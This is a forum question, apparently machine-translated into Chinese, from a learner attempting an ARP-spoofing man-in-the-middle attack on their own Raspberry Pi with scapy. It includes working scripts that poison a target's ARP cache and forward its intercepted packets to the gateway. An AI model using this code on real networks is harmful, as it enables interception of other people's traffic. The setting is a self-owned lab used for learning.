我只是用scapy學習python。我閱讀並使用了「Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python」(德語)一書。Scapy轉發包
我想用arp-spoofing來嘗試一箇中間人攻擊。 我有我的電腦,受害者(我的覆盆子pi)和標準網關。
爲了欺騙,我使用的代碼片段從書中
#!/usr/bin/python
import sys
import time
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + " <target> <spoof_ip>"
sys.exit(0)
iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet/arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
它的工作原理,我的受害者表示我的Mac作爲網關。 受害者使用正確的ip發送數據包,但使用我的mac地址。 現在受害者應該打開一個網站(wget http // example.com),我想使用Wireshark來讀取流量。但我必須重定向包(DNS和TCP/HTTP)。我與此代碼試了:
#!/etc/usr/python
from scapy.all import *
import sys
iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"
def handle_packet(packet):
if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
packet[Ether].dst = GATEWAY_MAC
sendp(packet)
print "A packet from " + packet[IP].src + " redirected!"
sniff(prn=handle_packet, filter=filter, iface=iface, store=0)
Wireshark的示出了具有正確DATAS的分組(IP源=受害者IP,IP目的地=網關IP,MAC源=受害者MAC,MAC目的地=網關MAC)。 網關是一個DSL路由器,所以也是一個「DNS服務器」。
但是我的Raspberry沒有收到DNS響應。我的錯是什麼?
此致,
MatStorm
攻擊者上的Wireshark是否顯示DNS響應? – nmichaels